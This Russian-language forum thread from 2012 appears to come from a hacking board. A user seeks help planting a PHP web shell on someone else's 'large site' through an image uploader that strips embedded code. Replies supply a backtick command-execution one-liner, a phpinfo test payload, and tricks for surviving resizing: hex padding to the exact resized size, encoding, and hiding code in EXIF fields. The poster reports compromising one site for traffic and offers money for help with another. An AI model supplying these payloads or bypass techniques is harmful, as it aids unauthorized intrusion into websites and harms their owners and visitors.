смена размера картинки при заливке шелла

Discussion in 'Песочница' started by alextrust, 28 Feb 2012.

  1. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    Пытаюсь залить шелл на один крупный сайт.
    Но после загрузки в картинке меняется содержимое,
    тоесть код php удаляется
    принимает только jpg файлы
    подскажите как решить проблему)?
     
    #1 alextrust, 28 Feb 2012
    Last edited: 28 Feb 2012
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    939
    Likes Received:
    524
    Reputations:
    173
    попробуй в изображение поставить только <?php phpinfo(); ?>
    срежеться?
     
  3. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    нет(
    получаю ошибку
    saveimg.ru/pictures/28-02-12/03d4604a3e1de2c85be4c34bc7ccb0bb.JPG
     
    #3 alextrust, 28 Feb 2012
    Last edited: 28 Feb 2012
  4. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    Попробуй <?=@`$c`?>
    Спасибо raz0r.

    Если не поможет - попробуй hex/base64.
     
  5. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    Тогда измененную по размеру картинку скачай и вставь код шелла в нее.Более она уже не должна ресайзиться и изменяться.Бывает такое, защита как никакая :D
     
  6. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    Размер в резайзенной картинке изменится после добавлния кода :/

    Но попытатся стоит.
     
  7. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    Pirotexnik
    не помогло


    t3cHn0iD

    та я пробовал
    все равно код с картики удаляется


    загрузить можно (jpg/png/gif)
    но после загрузки всегда получаю .jpg
     
    #7 alextrust, 29 Feb 2012
    Last edited: 29 Feb 2012
  8. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    Попробуй залить .jpg и хексом файл сделай такого размера, какой дается после резайза. Именно бит в бит. В нутри попробуй <??>. Запиши в центр. Если удалится - значит скорее всего фильтрация. Но это врядли.
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    тоже сталкивался с этой проблемой.
    https://rdot.org/forum/showthread.php?t=6&page=188
    должно быть место, где не изменяется, попробуй для начала exif, ну а после уже вставляй куда попало
    перезалей картинку из #3
     
    _________________________
  10. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    спасибо,на один сайт залился)
    на второй не помогло..а нам трафа как говна))
     
  11. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    91
    Likes Received:
    63
    Reputations:
    19
    Рассказал бы как решил. Проблема довольно частая.
     
  12. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    в одном случае решил exif pilotom

    на стальных не получается
    режится все что пытаюсь туда пихнуть exif pilotom
    может кто то знает как еще это сделать?
     
  13. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    91
    Likes Received:
    63
    Reputations:
    19
    Exif первое что пробую. Особенно поле Description (ближе всего к началу файла), но к сожалению почти всегда exif удаляется.
     
  14. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    10 баксов за помощь в решенни проблемы!)
    очень четкий ресурс попался)

    вот такая ошибка
    http://s019.radikal.ru/i603/1203/6e/29caa7bcffdb.jpg
     
    #14 alextrust, 23 Mar 2012
    Last edited: 23 Mar 2012
  15. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    Вот 2 картинки
    первая до загрузки,вторая после)
    что можно сделать?
    http://ge.tt/3IST4TF
     
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Только при rg=on.